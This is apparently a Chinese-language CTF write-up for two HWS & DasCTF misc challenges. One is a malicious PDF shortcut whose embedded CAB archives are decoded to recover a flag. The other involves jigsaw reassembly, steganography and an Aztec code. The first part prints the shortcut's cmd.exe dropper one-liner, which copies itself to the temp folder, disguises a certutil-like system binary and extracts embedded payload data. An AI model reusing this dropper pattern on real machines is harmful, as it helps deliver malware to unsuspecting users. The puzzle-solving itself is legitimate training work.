[HWS&DasCTF]misc

babypdf

附件是一个快捷方式,但是打开是可以成功的看到pdf的,这就肯定是从外面加载进来的
看一下目标

%SystemRoot%\system32\cmd.exe /c copy "20200308-sitrep-48-covid-19.pdf.lnk" %tmp%\\g4ZokyumBB2gDn.tmp /y&for /r C:\\Windows\\System32\\ %i in (*ertu*.exe) do copy %i %tmp%\\msoia.exe /y&findstr.exe "TVNDRgAAAA" %tmp%\\g4ZokyumBB2gDn.tmp>%tmp%\\cSi1r0uywDNvDu.

在tmp目录下找到g4ZokyumBB2gDn.tmp
有两段base64
[HWS&DasCTF]misc_第1张图片
上下两段解出来都是MSCF文件头,是后缀为cab的归档文件
[HWS&DasCTF]misc_第2张图片
第一个打不开,第二个打开出现了他加载的pdf
[HWS&DasCTF]misc_第3张图片

然后再tmp文件里面找到了这个
[HWS&DasCTF]misc_第4张图片
hex解密后,xor1得到了flag
[HWS&DasCTF]misc_第5张图片

gogogo

拿到手,有一堆拼图
[HWS&DasCTF]misc_第6张图片
一共是256张拼图,是16*16的

magick montage *.png -tile x16 -geometry +0+0 flag.png

[HWS&DasCTF]misc_第7张图片
再用gaps跑拼图

[HWS&DasCTF]misc_第8张图片
得到密码:3e8f092d4d7b80ce338d6e238efb01,还不知道干啥的,先放着

然后分析镜像文件,找到了一个压缩包,dump出来
在这里插入图片描述
发现是有密码的,用上面拼图得到的密码解开,是一个png
但是有两个文件头,删去一个即可
先拿去Stegsolve分析一下,貌似LSB有点东西,zsteg分离出一个png
[HWS&DasCTF]misc_第9张图片
[HWS&DasCTF]misc_第10张图片

xor,比较都没发现啥东西,估计是迷惑人的
然后就分析这个码,一开始以为是二维码,想着怎么修复,但是发现不太现实
[HWS&DasCTF]misc_第11张图片

后来换了个思路,可能不是二维码,找到了一个azteccode,刚好中间是固定的
[HWS&DasCTF]misc_第12张图片
扫码得到flag:flag{fbab8380-a642-48aa-89b1-8e251f826b12}

你可能感兴趣的:(比赛wp,visual,studio,ide,web安全,渗透)